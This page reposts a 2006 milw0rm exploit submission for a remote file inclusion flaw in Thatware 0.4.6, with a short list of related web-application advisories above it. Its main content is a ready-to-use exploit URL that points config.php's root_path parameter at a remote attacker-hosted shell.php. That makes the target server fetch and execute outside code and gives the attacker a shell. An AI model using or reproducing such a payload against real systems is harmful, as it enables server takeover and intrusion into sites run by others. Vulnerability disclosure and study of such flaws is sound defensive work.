Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA21430] hitweb "REP_INC" File Inclusion Vulnerability

[SA21424] Ruby on Rails Unspecified Vulnerability

[SA21435] Drupal Bibliography Module Cross-Site Scripting and SQL Injection

[SA21438] MojoGallery "admin. cgi" Cross-Site Scripting Vulnerabilities

From:	MILW0RM <submit_(at)_milw0rm.com>
Date:	10.08.2006
Subject:	Thatware 0.4.6 (root_path) Remote File Inclusion

Thatware  0.4.6 (root_path) Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware_0.4.6.tar.gz

Page Affect
config.php

ExP:
http://www.sito.com/dir_thatware/config.php?root_path=http://www.evalsite.
com/shell.php'

Greatz: str0ke

# milw0rm.com [2006-08-10]